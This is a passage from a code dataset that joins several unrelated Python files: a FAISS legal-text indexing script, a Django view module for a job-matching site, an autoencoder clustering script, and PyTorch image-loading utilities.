fps)\nwith open(\"latest_urls.json\", \"w\") as f:\n    json.dump(urls_as_dict, f)\n\nfor file_path in tqdm(files):\n    with open(file_path, \"r\") as f:\n        data = json.load(f)\n\n    for document in data:\n        if document[\"url\"] not in latest_urls:\n            continue\n\n        short_title = document[\"title\"]\n\n        # with open(\"check_json.json\", \"w\") as f:\n        #     json.dump(document, f, indent=2)\n\n        if \"notification\" in short_title.lower() or \"amendment\" in document[\"title\"].lower() or \"bill\" in document[\n            \"title\"].lower():\n            skipped.append(short_title)\n            continue\n\n        # print(document)\n        # input()\n        # print(\"================\")\n        title = ''\n        if \"body_raw\" not in document:\n            continue\n\n        ### REMOVE THIS, ADDED ONLY FOR TESTS\n        # if \"order\" in document[\"title\"].lower():\n        #     continue\n\n        if \"front\" in document:\n            for i in document[\n                \"front\"]:  # add docs when act name is same but it is some Chapter of the doc, e.g. Income Tax Act and Income Tax Act Chapter 134\n                # if i.lower().startswith(\"(chapter\"):\n                norm_i = unicodedata.normalize(\"NFKD\", i)\n                title += f\" {norm_i}\"\n\n            for x in document[\"front\"]:\n                if \"REVISED EDITION\" in x and \"Original Enactment\" not in x:\n                    try:\n                        revised_year = int(x.replace(\"REVISED EDITION\", \"\"))\n                    except Exception as err:\n                        print(document[\"url\"])\n                        print(document[\"front\"])\n                        print(\" \")\n        else:\n            title = short_title\n        revised_year = 0\n        for x in document[\"front\"]:\n            if \"REVISED EDITION\" in x and \"Original Enactment\" not in x:\n                try:\n                    revised_year = int(x.replace(\"REVISED EDITION\", \"\"))\n                except Exception as err:\n                    print(document[\"url\"])\n                    print(document[\"front\"])\n                    print(\" \")\n\n        url_to_revised_year[document[\"url\"]] = revised_year\n        parsed_documents = parse_unstructured(document[\"body_raw\"], document[\"url\"], short_title, title)\n\n        for x in parsed_documents:\n            key = f\"{title} {x.section_number} {x.section_name}\"\n            # #if x.section_name == \"Trading operations carried on partly in Singapore\":\n            # print(x.section_number, x.subsection_number)\n            # print(x.content)\n            # print(x.url)\n            #     pass\n            all_parsed_documents[key] = x\n\n# print(set(skipped))\n# for k, v in all_parsed_documents.items():\n#     if v.act_name.startswith(\"Income Tax\"):\n#         print(v.act_name, v.url, v.section_number)\n\nprint(f\"Len docs: {len(all_parsed_documents)}\")\ninput()\n\ntexts = list(map(lambda x: x.content, all_parsed_documents.values()))\nmodel_kwargs = {'device': 'cpu'}\n\nembeddings = HuggingFaceEmbeddings(\n    model_kwargs=model_kwargs\n)\n\nembs = embeddings.embed_documents(texts)\n\n# from transformers import AutoTokenizer, AutoModel\n# from torch import Tensor\n# from tqdm import tqdm\n# import torch\n\n# def average_pool(last_hidden_states: Tensor,\n#                  attention_mask: Tensor) -> Tensor:\n#     last_hidden = last_hidden_states.masked_fill(~attention_mask[..., None].bool(), 0.0)\n#     return last_hidden.sum(dim=1) / attention_mask.sum(dim=1)[..., None]\n\n# tokenizer = AutoTokenizer.from_pretrained('intfloat/e5-large')\n# model = AutoModel.from_pretrained('intfloat/e5-large')\n# model.cuda()\n# model.eval()\n\n# embeddings = []\n# for x in tqdm(all_parsed_documents.values()):\n#     embed_text = 'passage: ' + x.content\n#     batch_dict = tokenizer([embed_text], padding=True, truncation=True, return_tensors='pt').to(\"cuda:0\")\n\n#     outputs = model(**batch_dict)\n#     embedding = average_pool(outputs.last_hidden_state, batch_dict['attention_mask'])\n#     embeddings.append(embedding.detach().cpu())\n#     torch.cuda.empty_cache()\n\n# embs = torch.cat(embeddings).numpy()\n\n\n# Build index manualy\n# section_names = list(map(lambda x: x.section_name, all_parsed_documents.values()))\n\n\n# print(f\"len embs: {embs}\")\nembs = np.array(embs, dtype=np.float32)\n\nindex = faiss.IndexFlatIP(embs.shape[1])\nfaiss.normalize_L2(embs)\nindex.add(embs)\n\n# Prepare data for FAISS init\n# metadatas = None\nmetadatas = []\nfor parsed_doc in all_parsed_documents.values():\n    m_doc = {}\n    for field in fields(parsed_doc):\n        if field.name != \"content\":\n            m_doc[field.name] = getattr(parsed_doc, field.name)\n    metadatas.append(m_doc)\n\ndocuments = []\nfor i, text in enumerate(texts):\n    metadata = metadatas[i] if metadatas else {}\n    documents.append(Document(page_content=text, metadata=metadata))\nindex_to_id = {i: str(uuid.uuid4()) for i in range(len(documents))}\ndocstore = InMemoryDocstore(\n    {index_to_id[i]: doc for i, doc in enumerate(documents)}\n)\n\ndb = FAISS(None, index, docstore, index_to_id, )\n\nsave_path = \"ft_embeddings\"\n# save_path = \"full_acts_index_cos_sim_fixed_keys_add_metadata_as_dict_add_v2_filter_tag_fixed_names\"\n\ndb.save_local(save_path)\n\nprint(f\"Time elapsed: {(time.time() - t1) / 60}\")\n", "repo_name": "AndriiFesh/data-loader", "sub_path": "indexing_v2.py", "file_name": "indexing_v2.py", "file_ext": "py", "file_size_in_byte": 13308, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 23, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 26, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 42, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 125, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 131, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 145, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 145, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 146, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 146, "usage_type": "name"}, {"api_name": "re.match", "line_number": 164, "usage_type": "call"}, {"api_name": "re.search", "line_number": 169, "usage_type": "call"}, {"api_name": "unicodedata.normalize", "line_number": 182, "usage_type": "call"}, {"api_name": "re.search", "line_number": 202, "usage_type": "call"}, {"api_name": "time.time", "line_number": 214, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 217, "usage_type": "call"}, {"api_name": "json.load", "line_number": 231, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 237, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 239, "usage_type": "call"}, {"api_name": "json.load", "line_number": 241, "usage_type": "call"}, {"api_name": "unicodedata.normalize", "line_number": 272, "usage_type": "call"}, {"api_name": "langchain.embeddings.HuggingFaceEmbeddings", "line_number": 318, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 357, "usage_type": "attribute"}, {"api_name": "faiss.IndexFlatIP", "line_number": 359, "usage_type": "call"}, {"api_name": "faiss.normalize_L2", "line_number": 360, "usage_type": "call"}, {"api_name": "dataclasses.fields", "line_number": 368, "usage_type": "call"}, {"api_name": "langchain.schema.Document", "line_number": 376, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 377, "usage_type": "call"}, {"api_name": "langchain.docstore.in_memory.InMemoryDocstore", "line_number": 378, "usage_type": "call"}, {"api_name": "langchain.vectorstores.FAISS", "line_number": 382, "usage_type": "call"}, {"api_name": "time.time", "line_number": 389, "usage_type": "call"}]}
{"seq_id": "5706893666", "text": "from django.shortcuts import render\r\nfrom django.http import HttpResponse, HttpResponseRedirect\r\nfrom django.template import loader\r\nfrom django.urls import reverse\r\nfrom .forms import *\r\nfrom .models import *\r\nfrom datetime import datetime\r\n\r\n# Create your views here.\r\n#if we recieve a request to go to the index page it will redirect here and return the value specified\r\n#to call this view we have to configure it in the URLconfig\r\ndef index(request):\r\n\ttemplate = loader.get_template('app1/index.html')\r\n\treturn HttpResponse(template.render({}, request))\r\n\r\ndef register_user(request):\r\n\t#if the user has entered the data and pressed submit it will create a post and we will get the info from the form\r\n\tif request.method == 'POST':\r\n\t\tform = UserForm(request.POST)\r\n\t\t#form is valid is to prevent for attacks like SQL injections\r\n\t\tif form.is_valid(): \r\n\t\t\t#we start by saying the form is correct and later check conditions\r\n\t\t\tcorrect: bool = True\r\n\r\n\t\t\t#getting all the clean data\r\n\t\t\tfirst_name = form.cleaned_data.get('name')\r\n\t\t\tlast_name1= form.cleaned_data.get('last_name1')\t\r\n\t\t\tlast_name2 = form.cleaned_data.get('last_name2')\r\n\t\t\tmobile_number = form.cleaned_data.get('mobile_number')\r\n\t\t\temail = form.cleaned_data.get('email')\r\n\t\t\tusername = form.cleaned_data.get('username')\r\n\t\t\tpassword = form.cleaned_data.get('password')\r\n\t\t\tage = form.cleaned_data.get('age')\t\r\n\t\t\tcountry = form.cleaned_data.get('country')\r\n\t\t\tstreet = form.cleaned_data.get('street')\r\n\t\t\tst_number = form.cleaned_data.get('st_number')\r\n\t\t\tcity = form.cleaned_data.get('city')\r\n\t\t\tpostal_code = form.cleaned_data.get('postal_code')\r\n\t\t\t#cv = form.cleaned_data.get('archivo')\r\n\t\t\t#job_position = form.cleaned_data.get('position')\r\n\t\t\t#company = form.cleaned_data.get('company')\r\n\t\t\t#duration = form.cleaned_data.get('period')\r\n\t\t\t#job_description = form.cleaned_data.get('job_description')\r\n\t\r\n\t\t\tobjective: str = ''\r\n\t\t\t#we obtain the values of the checkbox\r\n\t\t\tif 'objective1' in request.POST:\r\n\t\t\t\tobjective += 'Continuar desarrollándome en el sector, '\r\n\t\t\tif 'objective2' in request.POST:\r\n\t\t\t\tobjective += 'Aportar mi experiencia a gente en formación, '\r\n\t\t\tif 'objective3' in request.POST:\r\n\t\t\t\tobjective += 'Ayudar a integrarse a nuevos trabajadores, '\r\n\t\t\tif 'objective4' in request.POST:\r\n\t\t\t\tobjective += 'Otra opción'\t\t\t\r\n\r\n\t\t\t#we will create a user instance and add to database\r\n\t\t\tu = User(username = username, user_password = password, user_name = first_name, last_name1 = last_name1, last_name2 = last_name2, user_age = age, user_email = email, user_number = mobile_number, user_country = country, user_street = street, user_st_number = st_number, user_postal_code = postal_code, user_date_registered = datetime.now())\t\t\t\t\t\r\n\t\t\t#user_job_position = job_position, user_company = company, user_job_duration = duration, user_job_description = job_description,\r\n\t\t\tu.save()\r\n\r\n\t\t\t#redirect to users profile page\r\n\t\t\treturn HttpResponseRedirect(f'/user/{username}/home/')\r\n\r\n\t#if it is any other method rather than post, form will be in original state\t\t\r\n\telse:\r\n\t\tform = UserForm()\t\r\n\r\n\ttemplate = loader.get_template('app1/register_user.html')\r\n\tcontext = {'form': form}\r\n\treturn HttpResponse(template.render(context, request))\t\r\n\r\ndef register_company(request):\r\n\t#if the user has entered the data and pressed submit it will create a post and we will get the info from the form\r\n\tif request.method == 'POST':\r\n\t\tform = CompanyForm(request.POST)\r\n\r\n\t\t#form is valid is to prevent for attacks like SQL injections\r\n\t\tif form.is_valid(): \r\n\t\t\t#we start by saying the form is correct and later check conditions\r\n\t\t\tprint(1)\r\n\t\t\t\r\n\t\t\t#getting all the clean data\r\n\t\t\tname = form.cleaned_data.get('name')\r\n\t\t\tpassword = form.cleaned_data.get('password')\r\n\t\t\tdescription = form.cleaned_data.get('description')\r\n\t\t\tsector = form.cleaned_data.get('sector')\r\n\t\t\tcountry = form.cleaned_data.get('country')\r\n\t\t\tstreet = form.cleaned_data.get('street')\r\n\t\t\tst_number = form.cleaned_data.get('st_number')\r\n\t\t\tcity = form.cleaned_data.get('city')\r\n\t\t\tno_employees = form.cleaned_data.get('no_employees')\r\n\t\t\twebsite = form.cleaned_data.get('website')\t\t\r\n\r\n\t\t\t#we will create a user instance and add to database\r\n\t\t\tc = Company(company_name = name, company_password = password, company_country = country, company_street = street, company_st_number = st_number, company_description = description, company_sector = sector, n_employees = no_employees, company_website = website, company_date_registered = datetime.now())\t\t\t\t\t\r\n\t\t\tc.save()\r\n\r\n\t\t\t#redirect to users profile page\r\n\t\t\treturn HttpResponseRedirect(f'/company/{name}/home/')\t\r\n\t\t\t\r\n\t\r\n\t#if it is any other method rather than post, form will be in original state\t\t\r\n\telse:\r\n\t\tform = UserForm()\t\r\n\r\n\tcontext = {'form': form}\r\n\ttemplate = loader.get_template('app1/register_company.html')\r\n\treturn HttpResponse(template.render(context, request))\r\n\r\ndef profile_company(request, name: str):\r\n\t#first we get all the data from the database to be able to display it\r\n\tcompany = Company.objects.filter(company_name = name)\r\n\tcompany_values = company.values_list()[0]\r\n\r\n\tcompany_name_ = company_values[1]\r\n\tcompany_password = company_values[2]\r\n\tcompany_description = company_values[3]\r\n\tcompany_sector = company_values[4]\r\n\tcompany_country = company_values[5]\r\n\tcompany_street = company_values[6]\r\n\tcompany_st_number = company_values[7]\r\n\tcompany_city = company_values[8]\r\n\tcompany_website = company_values[10]\r\n\tcompany_no_employees = company_values[9]\r\n\r\n\tcontext = {'name': company_name_, 'description': company_description, 'sector': company_sector, 'country': company_country, 'street': company_street, 'st_number': company_st_number, 'city': company_city, 'no_employees': company_no_employees, 'website': company_website}\r\n\r\n\t#if the user has entered the data and pressed submit it will create a post and we will get the info from the form\r\n\tif request.method == 'POST' and 'b1' in request.POST:\r\n\t\tform = CompanyEdit1(request.POST)\r\n\t\tcontext['form'] = form\r\n\t\tif form.is_valid():\r\n\t\t\t#getting all the clean data\r\n\t\t\tcompany_name = form.cleaned_data.get('company_name')\r\n\t\t\tdescription = form.cleaned_data.get('description')\r\n\t\t\tsector = form.cleaned_data.get('sector')\r\n\t\t\tcompany.update(company_name = company_name, company_description = description, company_sector = sector)\r\n\r\n\t\t\treturn HttpResponseRedirect(f'/company/{company_name}/profile')\r\n\r\n\t#if the user has entered the data and pressed submit it will create a post and we will get the info from the form\r\n\t\"\"\"\r\n\tif request.method == 'POST' and 'b2' in request.POST:\r\n\t\tform = CompanyEdit2(request.POST)\r\n\t\tif form.is_valid():\r\n\t\t\t#getting all the clean data\r\n\t\"\"\"\t\r\n\t#if the user has entered the data and pressed submit it will create a post and we will get the info from the form\r\n\tif request.method == 'POST' and 'b3' in request.POST:\r\n\t\tform = CompanyEdit3(request.POST)\r\n\t\tcontext['form'] = form\r\n\t\tif form.is_valid():\r\n\t\t\t#getting all the cleaned data\r\n\t\t\tdescription = form.cleaned_data.get('description')\r\n\t\t\tcountry = form.cleaned_data.get('country')\r\n\t\t\tstreet = form.cleaned_data.get('street')\r\n\t\t\tst_number = form.cleaned_data.get('st_number')\r\n\t\t\tcity = form.cleaned_data.get('city')\r\n\t\t\tno_employees = form.cleaned_data.get('no_employees')\r\n\t\t\twebsite = form.cleaned_data.get('website')\r\n\r\n\t\t\tcompany.update(company_description = description, company_country = country, company_street = street, company_st_number = st_number, company_city = city, company_no_employees = no_employees, company_website = website)\r\n\t\t\treturn HttpResponseRedirect(f'/company/{name}/profile')\r\n\r\n\ttemplate = loader.get_template('app1/profile_company.html')\r\n\treturn HttpResponse(template.render(context, request))\r\n\r\ndef profile_user(request, username: str):\r\n\t#first we get all the data from the database to be able to display it\r\n\tuser = User.objects.filter(username = username)\r\n\tuser_values = user.values_list()[0]\r\n\r\n\tusername_ = user_values[1]\r\n\tuser_password = user_values[2]\r\n\tuser_name = user_values[3]\r\n\tuser_last_name1 = user_values[4]\r\n\tuser_last_name2 = user_values[5]\r\n\tuser_age = user_values[6]\r\n\tuser_email = user_values[7]\r\n\tuser_number = user_values[8]\r\n\tuser_country = user_values[9]\r\n\tuser_street = user_values[10]\r\n\tuser_st_number = user_values[11]\r\n\tuser_city = user_values[12]\r\n\tuser_postal_code = user_values[13]\r\n\r\n\tcontext = {'mobile_number': user_number, 'age': user_age, 'email': user_email, 'postal_code': user_postal_code, 'name': user_name, 'username': username_, 'password': user_password, 'country': user_country, 'street': user_street, 'st_number': user_st_number, 'city': user_city, 'last_name1': user_last_name1, 'last_name2': user_last_name2}\r\n\r\n\t#if the user has entered the data and pressed submit it will create a post and we will get the info from the form\r\n\tif request.method == 'POST' and 'b1' in request.POST:\r\n\t\tform = UserEdit1(request.POST)\r\n\t\tcontext['form'] = form\r\n\t\tif form.is_valid():\r\n\t\t\t#getting all the clean data\r\n\t\t\tusername = form.cleaned_data.get('username')\r\n\t\t\tname = form.cleaned_data.get('name')\r\n\t\t\tlast_name1 = form.cleaned_data.get('last_name1')\r\n\t\t\tlast_name2 = form.cleaned_data.get('last_name2')\r\n\t\t\temail = form.cleaned_data.get('email')\r\n\t\t\tmobile_number = form.cleaned_data.get('mobile_number')\r\n\t\t\t\r\n\t\t\tuser.update(user_name = name, username = username, last_name1 = last_name1, last_name2 = last_name2, user_email = email, user_number = mobile_number)\r\n\t\t\treturn HttpResponseRedirect(f'/user/{username}/profile')\r\n\r\n\t#if the user has entered the data and pressed submit it will create a post and we will get the info from the form\r\n\t\"\"\"\r\n\tif request.method == 'POST' and 'b2' in request.POST:\r\n\t\tform = CompanyEdit2(request.POST)\r\n\t\tif form.is_valid():\r\n\t\t\t#getting all the clean data\r\n\t\"\"\"\t\r\n\t#if the user has entered the data and pressed submit it will create a post and we will get the info from the form\r\n\tif request.method == 'POST' and 'b3' in request.POST:\r\n\t\tform = UserEdit3(request.POST)\r\n\t\tcontext['form'] = form\r\n\t\tif form.is_valid():\r\n\t\t\t#getting all the cleaned data\r\n\t\t\tage = form.cleaned_data.get('age')\r\n\t\t\tcountry = form.cleaned_data.get('country')\r\n\t\t\tstreet = form.cleaned_data.get('street')\r\n\t\t\tst_number = form.cleaned_data.get('st_number')\r\n\t\t\tcity = form.cleaned_data.get('city')\r\n\t\t\tpostal_code = form.cleaned_data.get('postal_code')\r\n\r\n\t\t\tuser.update(user_country = country, user_street = street, user_st_number = st_number, user_city = city, user_postal_code = postal_code)\r\n\t\t\treturn HttpResponseRedirect(f'/user/{username_}/profile')\r\n\r\n\ttemplate = loader.get_template('app1/profile_user.html')\r\n\treturn HttpResponse(template.render(context, request))\t\r\n\r\ndef home_company(request, name: str):\r\n\tcontext = {'name': name}\r\n\ttemplate = loader.get_template('app1/home_company.html')\r\n\treturn HttpResponse(template.render(context, request))\t\r\n\r\ndef home_user(request, username: str):\r\n\tcontext = {'username': username}\r\n\ttemplate = loader.get_template('app1/home_user.html')\r\n\treturn HttpResponse(template.render(context, request))\t\r\n\r\ndef add_job(request, name: str):\r\n\tcontext = {'name': name}\r\n\ttemplate = loader.get_template('app1/index.html')\r\n\treturn HttpResponse(template.render(context, request))\t\r\n\r\ndef search_user(request, name: str):\r\n\tcontext = {'name': name}\r\n\ttemplate = loader.get_template('app1/index.html')\r\n\treturn HttpResponse(template.render(context, request))\t\t\r\n\t\t\r\n\r\n\r\n", "repo_name": "osoc-es/hire-senior", "sub_path": "django-backend/app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 11388, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.template.loader.get_template", "line_number": 13, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 13, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 57, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 62, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 68, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 68, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 95, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 99, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 107, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 107, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 108, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 139, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 163, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 165, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 165, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 166, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 203, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 226, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 228, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 228, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 229, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 233, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 233, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 234, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 238, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 238, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 239, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 243, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 243, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 244, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 248, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 248, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 249, "usage_type": "call"}]}
{"seq_id": "19769360939", "text": "import numpy as np \nimport torch\nimport torch.nn as nn \nfrom autoenc import *\nfrom torch.autograd import Variable\nfrom cluster import *\nfrom pca import *\n#import matplotlib.pyplot as plt\n#import matplotlib.cm as cm\nimport os,sys\nfrom parser import *\n\ndatapath = sys.argv[2]\nsavepath = 'model/auto'\n\n\npars = Parser()\npars.parse(sys.argv[1])\n\nID       = pars.val['ID']\nbatch_sz = int(pars.val['batch_sz'])\nepoch    = int(pars.val['epoch'])\nlearn_rate = float(pars.val['learn_rate'])\nvalid_rate = float(pars.val['valid_rate'])\nregu       = float(pars.val['regu'])\nfdim       = int(pars.val['Fdim'])\nmodel_dir = os.path.join(savepath,ID)\n\n\n#### Data process & load \nimgs = np.load(datapath)\nimgs = imgs/255.\nimgs = torch.from_numpy(imgs).float()\n\nNtot = len(imgs)\nprint (\"tot   %d\"%(Ntot))\n#train_data = imgs\n\n#### Data loader \n#train_loader = torch.utils.data.DataLoader(\\\n#                torch.utils.data.TensorDataset(train_data,torch.from_numpy(np.arange(0,len(train_data),1)).float()),\\\n#                batch_size=batch_sz,\\\n#                shuffle=True)\n#del train_data\n#del imgs\n\n\n#### model \nmodel =Autoenc(Fdim=fdim)\nmodel.load_state_dict(torch.load(os.path.join(model_dir,'autoenc.model')))\n\n\nlossfx    = nn.MSELoss().cuda()\nmodel.cuda()\nmodel.eval()\n\n\n\n## get feature:\nFeat = []\nfor i in np.arange(0,len(imgs),batch_sz):\n    print (i)\n    endl = i + batch_sz\n    if endl > Ntot:\n        endl = Ntot\n    x = Variable(imgs[i:endl],requires_grad=False).cuda()\n    context, y_pred = model(x)\n    Feat.append(context)\n\nFeat = torch.cat(Feat).data.cpu().numpy()\n\nprint (\"PCA for features\")\nmean,s,eigV = PCA(Feat)\n\npjimgs = np.dot(Feat-mean, eigV.T)\n\n\nprint (\"clustering\")\n#pred_label , _ = K_means_batch(pjimgs,2,batch_size=2480,verbose=True)\n#pred_label , _ = K_means(pjimgs,3,verbose=True)\n#pred_label, _ = SpCluster(pjimgs[:20000])\n#pred_label , _ = Agg(pjimgs,2)\npred_label , _ = Birch(pjimgs,2)\n\n\nprint (\"save pred\")\nnp.save(os.path.join(model_dir,'pred.npy'),pred_label)\n\n#plt.scatter(pjimgs[:,0],pjimgs[:,1],s=0.5,c=pred_label)\n#plt.show()\n\n\n", "repo_name": "kaihsin/ML2017FALL", "sub_path": "hw6/cluster_auto_plt.py", "file_name": "cluster_auto_plt.py", "file_ext": "py", "file_size_in_byte": 2054, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.argv", "line_number": 13, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.nn.MSELoss", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}]}
{"seq_id": "6238104197", "text": "from torchvision import datasets, transforms\nimport torch\nfrom numpy import random\nimport numpy as np\n\ndef load_training(root_path, batch_size, kwargs):\n    transform = transforms.Compose(\n        [transforms.Resize([256, 256]),\n         #transforms.RandomCrop(227),\n         #transforms.RandomHorizontalFlip(),\n         transforms.ToTensor(),\n         #transforms.Normalize(mean, std),\n         ])\n    data = datasets.ImageFolder(root=root_path , transform=transform)\n    train_loader = torch.utils.data.DataLoader(data, batch_size=batch_size, shuffle=True, drop_last=True, **kwargs)\n    return train_loader\n\ndef load_testing(root_path,  batch_size,kwargs):\n    transform = transforms.Compose(\n        [transforms.Resize([256, 256]),\n         #transforms.Resize([227, 227]),\n         transforms.ToTensor(),\n         ])\n    data = datasets.ImageFolder(root=root_path , transform=transform)\n    test_loader = torch.utils.data.DataLoader(data, batch_size=batch_size, shuffle=True, **kwargs)\n    return test_loader\n\n\ndef crop_resize(data):\n    #data_resize = []\n    data_resize = np.zeros((0,3,227,227))\n    #data:[32,3,255,255],output:[32,3,227,227]\n    data = data.cpu().numpy()#numpy格式\n    #print(data.shape)\n    for i in range(32):\n        x = random.randint(0, 29)\n        y = random.randint(0, 29)\n        data_i = data[i,:,:,:]\n        data_i = np.expand_dims(data_i, axis=0)\n        #print (data_i.shape)\n        data_i = data_i[:,:,x:x+227,y:y+227]\n        data_resize = np.vstack((data_resize, data_i))\n    data_resize = np.array(data_resize)\n    data_resize = torch.from_numpy(data_resize)\n    data_resize = data_resize.float()\n    #print (data_resize.shape)\n    return data_resize\n\n\n#########################针对二进制cross entropy loss的测试函数########################################################\n\n#target_loss = -(t*torch.log(pred_softmax[:,10]) + (1-t)*torch.log(1.0 - pred_softmax[:,10]))\n\n\"\"\"\nimport matplotlib.pyplot as plt\nfig  = plt.figure()\n#ax = fig.add_subplot(1,1,1)\nx = np.arange(0,1,0.01)\nx = list(x)\ny1 = np.zeros(len(x))\ny1  = list(y1)\ny2 = np.zeros(len(x))\ny2  = list(y2)\ny3 = np.zeros(len(x))\ny3  = list(y3)\ny4 = np.zeros(len(x))\ny4  = list(y4)\ny5 = np.zeros(len(x))\ny5  = list(y5)\ny6 = np.zeros(len(x))\ny6  = list(y6)\ny7 = np.zeros(len(x))\ny7  = list(y7)\ny8 = np.zeros(len(x))\ny8  = list(y8)\ny9 = np.zeros(len(x))\ny9  = list(y9)\n\"\"\"\n\"\"\"\nt = np.arange(0.1,1,0.1)\ny = np.zeros((len(t),len(x)))\nfor j in range(len(t)):\n    for i in range(len(x)):\n        y[j][i] = -(t[j] * np.log(x[i]) + (1 - t[j]) * np.log(1.0 - x[i]))\nmin = np.min(y)\nprint (min)\nprint (np.where(y==min))\nmin = np.where(y==min)\n#index = y.index(min)\n#print(x[index])\n#plt.scatter(x[index], y[index])\n\nplt.plot(x,y[0],color='green', label= 't=0.1')\nplt.plot(x,y[1],color='red', label= 't=0.2')\nplt.plot(x,y[2],color='pink', label= 't=0.3')\nplt.plot(x,y[3],color='blue', label= 't=0.4')\nplt.plot(x,y[4],color='black', label= 't=0.5')\nplt.plot(x,y[5],color='yellowgreen', label= 't=0.6')\nplt.plot(x,y[6],color='yellow', label= 't=0.7')\nplt.plot(x,y[7],color='tomato', label= 't=0.8')\nplt.plot(x,y[8],color='violet', label= 't=0.9')\n#ax.annotate((x[index],y[index]),(x[index],y[index]))\n\n\"\"\"\n\"\"\"\nfor i in range(len(x)):\n        y1[i] = -(0.1 * np.log(x[i]) + (1 - 0.1) * np.log(1.0 - x[i]))\nfor i in range(len(x)):\n        y2[i] = -(0.2 * np.log(x[i]) + (1 - 0.2) * np.log(1.0 - x[i]))\nfor i in range(len(x)):\n        y3[i] = -(0.3 * np.log(x[i]) + (1 - 0.3) * np.log(1.0 - x[i]))\nfor i in range(len(x)):\n        y4[i] = -(0.4 * np.log(x[i]) + (1 - 0.4) * np.log(1.0 - x[i]))\nfor i in range(len(x)):\n        y5[i] = -(0.5 * np.log(x[i]) + (1 - 0.5) * np.log(1.0 - x[i]))\nfor i in range(len(x)):\n        y6[i] = -(0.6 * np.log(x[i]) + (1 - 0.6) * np.log(1.0 - x[i]))\nfor i in range(len(x)):\n        y7[i] = -(0.7 * np.log(x[i]) + (1 - 0.7) * np.log(1.0 - x[i]))\nfor i in range(len(x)):\n        y8[i] = -(0.8 * np.log(x[i]) + (1 - 0.8) * np.log(1.0 - x[i]))\nfor i in range(len(x)):\n        y9[i] = -(0.9 * np.log(x[i]) + (1 - 0.9) * np.log(1.0 - x[i]))\n\nplt.plot(x,y1,color='yellowgreen', label= 't=0.1')\nplt.plot(x,y2,color='blue', label= 